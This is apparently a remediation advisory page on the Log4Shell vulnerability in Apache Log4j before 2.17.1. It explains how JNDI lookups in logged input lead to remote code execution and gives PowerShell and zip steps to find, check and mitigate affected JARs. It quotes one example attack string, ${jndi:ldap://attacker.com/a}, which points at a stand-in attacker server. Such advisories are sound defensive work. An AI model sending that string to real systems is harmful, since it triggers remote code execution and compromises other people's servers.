Apache Log4j < 2.17.1
Any Java application using Log4j that logs user-controlled input can be fully compromised by sending a single crafted string — no authentication needed.
An attacker who can cause the application to log any string they control can trigger remote code execution as the Java process account. Common vectors include the User-Agent header, X-Forwarded-For, username fields, and search queries. On Windows Server environments, the Java service account often has local administrator or domain privileges, giving the attacker immediate high-privilege access. Mass exploitation began within hours of public disclosure.
Apache Log4j is a Java logging library used by thousands of enterprise applications including Apache Tomcat, Apache Solr, VMware vCenter, and many custom internal systems. Versions 2.0-beta9 through 2.14.1 evaluate JNDI lookup expressions embedded in any string passed to a log statement. When a user-controlled value such as ${jndi:ldap://attacker.com/a} reaches a log call, Log4j contacts the attacker-controlled server and executes the returned Java class. The vulnerability exists wherever Log4j is present — any input field, HTTP header, username, or search query that gets logged is a potential attack vector.
📧
Phishing link
🖼
Malicious file
🔓
Server compromised
Probably yes if any of these apply:
Affected OS versions
Within 72 hours of the Log4Shell vulnerability becoming public in December 2021, threat actors had fully automated scanning and exploitation. Multiple organisations running Apache Tomcat and custom Java applications on Windows Server found adversaries had established persistence before the patch was available. Nation-state groups including APT41 were confirmed to have used Log4Shell in targeted intrusions.
Manual remediation steps
⏱ 30–90 minutes per applicationStep 1 — Find Log4j Installations
# Search for log4j JAR files on all drives
Get-ChildItem -Path C:\, D:\ -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match 'log4j' -and $_.Extension -eq '.jar' } |
Select-Object FullName, LastWriteTime | Format-Table -AutoSize
Step 2 — Check Log4j Version
# Read version from JAR manifest
$jar = 'C:\path\to\log4j-core-2.x.x.jar'
Add-Type -AssemblyName System.IO.Compression.FileSystem
$zip = [System.IO.Compression.ZipFile]::OpenRead($jar)
$manifest = $zip.Entries | Where-Object { $_.Name -eq 'MANIFEST.MF' }
$reader = New-Object System.IO.StreamReader($manifest.Open())
$reader.ReadToEnd()
$zip.Dispose()
Step 3 — Remediate
Option A — Update Log4j JAR
Option B — Mitigate Without Updating (Log4j 2.10+)
# Set JVM property to disable JNDI lookups
# Add to application startup script or service configuration:
# -Dlog4j2.formatMsgNoLookups=true
Option C — Remove JndiLookup class (all versions)
# Removes the vulnerable class from the JAR
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Verification
# Confirm updated version is deployed
Get-ChildItem -Path C:\ -Recurse -Filter 'log4j-core-*.jar' -ErrorAction SilentlyContinue |
Select-Object Name, FullName
# Must show 2.17.1 or later, no 2.14.1 or earlier
No tested PowerShell script for this entry yet. We’re prioritising automation based on user demand.
References